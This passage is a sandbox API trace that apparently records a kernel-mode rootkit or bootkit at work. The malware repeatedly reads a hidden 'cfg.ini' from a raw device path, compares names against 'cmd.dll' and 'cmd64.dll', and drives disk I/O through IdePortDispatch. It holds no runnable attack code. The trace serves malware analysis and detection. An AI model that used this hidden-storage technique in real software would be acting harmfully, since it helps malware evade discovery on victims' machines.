MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b96000 [0127.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.190] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.190] IdePortDispatch () returned 0x103 [0127.190] KeWaitForMutexObject () returned 0x0 [0127.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.190] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.190] IdePortDispatch () returned 0x103 [0127.190] KeWaitForMutexObject () returned 0x0 [0127.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.191] KeLeaveCriticalRegion () [0127.191] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.191] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.191] KeEnterCriticalRegion () [0127.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.191] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.192] KeLeaveCriticalRegion () [0127.192] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.192] KeEnterCriticalRegion () [0127.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.192] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.192] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc930, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.192] KeLeaveCriticalRegion () [0127.192] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.192] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.192] KeEnterCriticalRegion () [0127.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.192] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.192] KeLeaveCriticalRegion () [0127.192] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.192] ReleaseMutex (hMutex=0xf0) returned 1 [0127.192] Sleep (dwMilliseconds=0x124f80) [0127.211] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.211] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.211] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.211] KeEnterCriticalRegion () [0127.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.211] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.211] IdePortDispatch () returned 0x103 [0127.212] KeWaitForMutexObject () returned 0x0 [0127.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.212] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.212] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.212] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.212] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.212] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.212] KeLeaveCriticalRegion () [0127.212] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.212] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.212] KeEnterCriticalRegion () [0127.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.212] KeLeaveCriticalRegion () [0127.212] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.212] KeEnterCriticalRegion () [0127.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.212] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.212] IdePortDispatch () returned 0x103 [0127.213] KeWaitForMutexObject () returned 0x0 [0127.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.213] KeLeaveCriticalRegion () [0127.213] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.213] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.213] KeEnterCriticalRegion () [0127.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9b000 [0127.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.213] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.213] IdePortDispatch () returned 0x103 [0127.213] KeWaitForMutexObject () returned 0x0 [0127.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.213] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.213] IdePortDispatch () returned 0x103 [0127.214] KeWaitForMutexObject () returned 0x0 [0127.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.214] KeLeaveCriticalRegion () [0127.214] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.214] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.214] KeEnterCriticalRegion () [0127.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.215] KeLeaveCriticalRegion () [0127.215] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.215] KeEnterCriticalRegion () [0127.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.215] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.215] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.215] KeLeaveCriticalRegion () [0127.215] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.215] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.215] KeEnterCriticalRegion () [0127.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.215] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.215] KeLeaveCriticalRegion () [0127.215] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.215] ReleaseMutex (hMutex=0xf0) returned 1 [0127.215] Sleep (dwMilliseconds=0x124f80) [0127.233] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.233] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.233] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.233] KeEnterCriticalRegion () [0127.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.233] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.233] IdePortDispatch () returned 0x103 [0127.233] KeWaitForMutexObject () returned 0x0 [0127.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.233] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.233] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.233] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.233] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.234] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7aa0 [0127.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.234] KeLeaveCriticalRegion () [0127.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.234] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.234] KeEnterCriticalRegion () [0127.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.234] KeLeaveCriticalRegion () [0127.234] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.234] KeEnterCriticalRegion () [0127.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.234] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.234] IdePortDispatch () returned 0x103 [0127.234] KeWaitForMutexObject () returned 0x0 [0127.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.234] KeLeaveCriticalRegion () [0127.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.234] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.235] KeEnterCriticalRegion () [0127.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba0000 [0127.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.235] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.235] IdePortDispatch () returned 0x103 [0127.235] KeWaitForMutexObject () returned 0x0 [0127.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.235] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.235] IdePortDispatch () returned 0x103 [0127.235] KeWaitForMutexObject () returned 0x0 [0127.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.235] KeLeaveCriticalRegion () [0127.235] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.236] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.236] KeEnterCriticalRegion () [0127.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.236] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.236] KeLeaveCriticalRegion () [0127.236] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.236] KeEnterCriticalRegion () [0127.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.236] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.236] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.236] KeLeaveCriticalRegion () [0127.236] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.236] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.237] KeEnterCriticalRegion () [0127.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.237] ExFreePoolWithTag (P=0xfffffa800c4f7aa0, Tag=0x0) [0127.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.237] KeLeaveCriticalRegion () [0127.237] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.237] ReleaseMutex (hMutex=0xf0) returned 1 [0127.237] Sleep (dwMilliseconds=0x124f80) [0127.260] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.260] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.260] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.261] KeEnterCriticalRegion () [0127.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.261] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.261] IdePortDispatch () returned 0x103 [0127.261] KeWaitForMutexObject () returned 0x0 [0127.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.261] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.261] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.261] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.261] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.261] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc920 [0127.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.261] KeLeaveCriticalRegion () [0127.261] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.261] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.261] KeEnterCriticalRegion () [0127.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.261] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.261] KeLeaveCriticalRegion () [0127.261] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.261] KeEnterCriticalRegion () [0127.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.262] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.262] IdePortDispatch () returned 0x103 [0127.262] KeWaitForMutexObject () returned 0x0 [0127.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.262] KeLeaveCriticalRegion () [0127.262] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.262] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.262] KeEnterCriticalRegion () [0127.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba5000 [0127.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.262] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.262] IdePortDispatch () returned 0x103 [0127.263] KeWaitForMutexObject () returned 0x0 [0127.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.263] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.263] IdePortDispatch () returned 0x103 [0127.263] KeWaitForMutexObject () returned 0x0 [0127.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.263] KeLeaveCriticalRegion () [0127.263] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.264] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.264] KeEnterCriticalRegion () [0127.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.264] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.264] KeLeaveCriticalRegion () [0127.264] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.264] KeEnterCriticalRegion () [0127.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.264] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.264] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, 